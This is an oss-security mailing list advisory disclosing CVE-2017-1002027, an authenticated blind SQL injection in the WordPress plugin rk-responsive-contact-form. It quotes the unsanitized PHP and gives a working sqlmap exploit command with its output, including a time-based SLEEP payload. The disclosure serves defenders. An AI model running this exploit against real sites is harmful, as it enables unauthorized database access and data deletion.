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List: oss-security
Subject: [oss-security] Authenticated Blind SQL Injection vulnerability in Wordpress plugin rk-responsive-con
From: "Larry W. Cashdollar" <larry0 () me ! com>
Date: 2017-08-23 12:22:07
Message-ID: CEF95F5A-B021-4514-867B-64B38D7CFBF3 () me ! com
[Download RAW message or body]
Title: Authenticated Blind SQL Injection vulnerability in Wordpress plugin \
rk-responsive-contact-form v1.0
Author: Larry W. Cashdollar, @_larry0
Date: 2017-07-01
CVE-ID:[CVE-2017-1002027]
Download Site: https://wordpress.org/plugins/rk-responsive-contact-form/
Vendor: rkdevelopers
Vendor Notified: 2017-08-05
Vendor Contact: plugins@wordpress.org
Advisory: http://www.vapidlabs.com/advisory.php?v=198
Description: A simple WordPress plugin that generates a responsive contact form on your website \
or blog Vulnerability:
The variable $delid isn't sanitized before being passed into an SQL query in file \
./rk-responsive-contact-form/include/rk_user_list.php :
1-<?php
2- global $wpdb;
3- $table_name = $wpdb->prefix . "rk_contact";
4: $info=$_GET["info"];
5- if($info=="del")
6- {
7: $delid=$_GET["did"];
8-
9- $wpdb->query("delete from ".$table_name." where `user_id`=".$delid);
10- echo "<div style='clear:both;'></div><div class='updated' \
id='message'><p><strong>:".__('User Record Deleted.','rkcontactform')."</strong>.</p></div>"; \
11- } 12-?>
The attacker must have permission to modify contacts in order to exploit this vulnerability.
Exploit Code:
• $ sqlmap -u 'http://example.com/wp-admin/admin.php?page=rk_user_lists&info=del&did=*' \
--load-cookies=./cookie.txt --level=2 --risk=1 --dbms=mysql •
•
• URI parameter '#1*' is vulnerable. Do you want to keep testing the others (if any)? [y/N]
• sqlmap identified the following injection point(s) with a total of 318 HTTP(s) requests:
• ---
• Parameter: #1* (URI)
• Type: AND/OR time-based blind
• Title: MySQL >= 5.0.12 time-based blind - Parameter replace
• Payload: http://example.com:80/wp-admin/admin.php?page=rk_user_lists&info=del&did=(CASE \
WHEN (6363=6363) THEN SLEEP(5) ELSE 6363 END) • ---
• [10:57:22] [INFO] the back-end DBMS is MySQL
• web server operating system: Linux Ubuntu 16.04 (xenial)
• web application technology: Apache 2.4.18
• back-end DBMS: MySQL >= 5.0.12
• [10:57:22] [INFO] fetched data logged to text files under \
'/home/larry/.sqlmap/output/example.com' •
• [*] shutting down at 10:57:22=
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